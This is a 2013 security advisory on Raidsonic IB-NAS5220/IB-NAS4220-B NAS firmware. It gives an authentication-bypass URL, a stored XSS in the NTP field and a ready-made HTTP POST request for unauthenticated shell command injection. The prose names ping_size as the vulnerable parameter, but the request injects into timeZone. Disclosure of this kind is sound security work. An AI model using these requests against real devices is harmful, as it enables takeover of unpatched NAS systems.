Device Name: IB-NAS5220 / IB-NAS4220-B
Vendor: Raidsonic
============ Vulnerable Firmware Releases:============
Product Name IB-NAS5220 / IB-NAS4220-B
Tested Firmware IB5220:2.6.3-20100206S
Tested Firmware IB4220:2.6.3.IB.1.RS.1
Firmware Download: http://www.raidsonic.de/data/Downloads/Firmware/IB-NAS5220_standard.zip============ Vulnerability Overview:============* Authentication Bypass:-> Access the following URL to bypass the login procedure:
http://<IP>/nav.cgi?foldName=adm&localePreference=en
* Stored XSS:
System -> Time Settings -> NTP Server -> User Define
Injecting scripts into the parameter ntp_name reveals that this parameter isnot properly validated for malicious input. You are able to place this script without authentication.
Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/ICY-Box-Stored-XSS.png
* Unauthenticated OS Command Injection
The vulnerability is caused by missing input validation in the ping_size parameter and can be exploited to inject and execute arbitrary shell commands.
Example Exploit:
POST /cgi/time/timeHandler.cgi HTTP/1.1
Host:192.168.178.41
User-Agent: Mozilla/5.0(Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.41/cgi/time/time.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length:186
month=1&date=1&year=2007&hour=12&minute=10&m=PM&timeZone=Amsterdam`COMMAND`&ntp_type=default&ntpServer=none&old_date=+1+12007&old_time=1210&old_timeZone=Amsterdam&renew=0
Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/Raidsonic-IB-NAS-command-execution.png
============ Solution ============
No known solution available.============ Credits ============
The vulnerability was discovered by Michael Messner
Mail: devnull#at#s3cur1ty#dot#de
Web: http://www.s3cur1ty.de
Advisory URL: http://www.s3cur1ty.de/m1adv2013-010
Twitter: @s3cur1ty_de
============ Time Line:============
August 2012- discovered vulnerability
27.08.2012- contacted vendor with vulnerability details for IB-NAS4220-B
28.08.2012- vendor responded that they will not publish an update
15.10.2012- contacted vendor with vulnerability details for IB-NAS5220
15.10.2012- vendor responded that they will not publish an update
12.02.2013- public release
===================== Advisory end =====================
